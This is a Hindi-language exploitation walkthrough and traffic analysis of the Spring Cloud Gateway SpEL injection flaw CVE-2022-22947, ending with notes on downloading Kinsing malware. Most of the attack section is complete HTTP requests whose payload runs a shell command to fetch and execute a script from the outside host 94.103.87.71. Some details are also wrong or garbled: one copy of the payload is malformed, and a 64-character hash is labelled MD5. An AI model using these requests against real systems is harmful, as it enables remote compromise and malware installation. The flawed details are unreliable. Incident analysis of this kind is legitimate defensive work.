
CVE-2022-22947, एक Spring Cloud Gateway SpEL इंजेक्शन कमजोरी जो RCE की ओर ले जाती है, का विस्तृत विश्लेषण और शोषण वॉकथ्रू, जिसमें PCAP विश्लेषण और Kinsing मैलवेयर जांच शामिल है।
CVE-2022-22947 (Spring-Cloud-Gateway) 2022 की पहली तिमाही में, Actuator API का उपयोग करके SpEL इंजेक्शन करने के लिए एक दिलचस्प और गंभीर (बेस स्कोर 10.0) Spring Cloud Gateway कोड इंजेक्शन भेद्यता की खोज की गई, जो संभावित रूप से सिस्टम से समझौता कर सकती है। Spring cloud gateway के संस्करण 3.1.1+ और 3.0.7+ से पहले Spring cloud gateway में, एप्लिकेशन कोड इंजेक्शन हमले के प्रति संवेदनशील होते हैं यदि: Gateway Actuator एंडपॉइंट सक्षम, खुला और असुरक्षित हो।

1.हमलावर गेटवे में नया रूट बनाने के लिए एक POST अनुरोध + JSON भेजेगा और JSON कॉन्फ़िग फ़ाइल के साथ वह उस रूट के रिस्पॉन्स हेडर को कॉन्फ़िगर कर रहा है।
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372
{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}
प्रतिक्रिया:
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0
जैसा कि हम JSON फ़ाइल में देख सकते हैं, हम इस अभिव्यक्ति को निष्पादित करके प्रतिक्रिया हेडर का मान प्राप्त कर रहे हैं
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]
और हम exec( ) विधि में देख सकते हैं कि रिमोट कोड निष्पादन के लिए एक संयुक्त कमांड है।
2.फिर हमलावर सभी रूट्स को रिफ्रेश करने के लिए एक POST अनुरोध भेजता है।
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
प्रतिक्रिया:
HTTP/1.1 200 OK
3.फिर हमलावर प्रतिक्रिया हेडर में RCE कमांड को निष्पादित करने के लिए नवनिर्मित रूट पर GET अनुरोध भेजता है।
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
प्रतिक्रिया:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202
{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}
प्रतिक्रिया 200 OK इंगित करती है कि RCE कमांड सफलतापूर्वक निष्पादित हो गया है।
4.फिर हमलावर उस रूट को हटाने के लिए DELETE अनुरोध भेजेगा।
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
प्रतिक्रिया:
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK इंगित करता है कि रूट सफलतापूर्वक हटा दिया गया है।
##डीकोडेड शेलकोड:
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
इस शेलकोड को डीकोड करने के बाद मुझे एक स्क्रिप्ट का wget URL मिला, फिर मैंने मैन्युअल रूप से उस स्क्रिप्ट को डाउनलोड किया और उसका विश्लेषण करने के बाद मुझे किंसिंग मैलवेयर का एक डाउनलोड URL मिला।

और उस URL से मैंने आगे के विश्लेषण के लिए एक ज़िप फ़ाइल में किंसिंग मैलवेयर डाउनलोड किया, फिर उसके बाद मैंने उस मैलवेयर के MD5 मान=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c का विश्लेषण किया और यहाँ वह है जो मुझे मिला।

